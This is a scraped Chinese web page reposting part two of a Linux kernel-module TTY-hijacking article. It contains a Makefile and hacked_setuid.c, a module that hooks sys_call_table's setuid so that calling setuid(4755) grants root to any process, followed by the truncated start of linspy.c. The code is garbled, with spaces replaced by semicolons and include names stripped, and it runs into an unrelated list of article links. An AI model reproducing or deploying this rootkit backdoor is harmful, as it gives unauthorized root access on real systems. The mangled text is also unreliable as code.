利用linux内核模块实现TTY hijacking( 二 ) _云知道

MODCFLAGS;:=;$(V);$(CFLAGS);-DMODULE;-D__KERNEL__;-DLINUX

all:;linspy;ltread;setuid

linspy:;linspy.c;/usr/include/linux/version.h
$(CC);$(MODCFLAGS);-c;linspy.c

ltread:;
$(CC);$(DN);-o;ltread;ltread.c

clean:;
rm;*.o;ltread

setuid:;hacked_setuid.c;/usr/include/linux/version.h
$(CC);$(MODCFLAGS);-c;hacked_setuid.c

<-->;end;Makefile
<>;linspy/hacked_setuid.c
int;errno;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#ifdef;NEED_VERSION
static;char;kernel_version[];=;UTS_RELEASE;
#endif
static;inline;_syscall1(int,;setuid,;uid_t,;uid);/*用_syscall这个系统调用宏来构建setuid调用*/
extern;void;*sys_call_table[];/*调出系统调用表*/
void;*original_setuid;;/*原来的setuid*/
extern;int;hacked_setuid(uid_t;uid)/*我们要替换的setuid*/
{
int;i
if(uid;==;4755)
{
current->uid;=;current->euid;=;current->gid;=;current->egid;=;0;
/*使当前进程的uid,euid,gid,egid为零*/
return;0;
}
sys_call_table[SYS_setuid];=;original_setuid;/*保存原调用*/
i;=;setuid(uid);
sys_call_table[SYS_setuid];=;hacked_setuid;/*替换调用！*/
if(i;==;-1);return;-errno;
else;return;i;
}
int;init_module(void);/*加载*/
{
original_setuid;=;sys_call_table[SYS_setuid];
sys_call_table[SYS_setuid];=;hacked_setuid;
return;0;
}
void;cleanup_module(void);/*卸载*/
{
sys_call_table[SYS_setuid];=;original_setuid;
};
<>;linspy/linspy.c
int;errno;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#ifdef;MODULE
#include;#include;
#endif
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;

利用linux内核模块实现TTY hijacking( 二 )

推荐阅读

道袍上慧剑长短有要求吗

布满的意思布满的意思是什么

海带去除粘液的技巧方法

游戏天姬变中情缘秘境的第一关通过

白茶的制作工艺是什么

司柯达车更换机油后怎么样进行复位

为什么黄霄云叫鬼鬼

^2是什么意思数学

小孩学芭蕾还是中国舞芭蕾和中国舞该怎么选

十大热度游戏排行出炉全网最火的手游前十名游戏

摩登兄弟刘宇宁发微博接了新剧摩登兄弟微博

溶液空调有哪几个牌子,空调哪几个牌子质量比较好

为什么喜欢复古摩托,喜欢复古摩托车

追加1亿元奶粉,飞鹤奶粉电话多少钱

鱿鱼肚子里黄黄的东西能吃吗

徕卡为什么是无反相机,徕卡相机为什么这么贵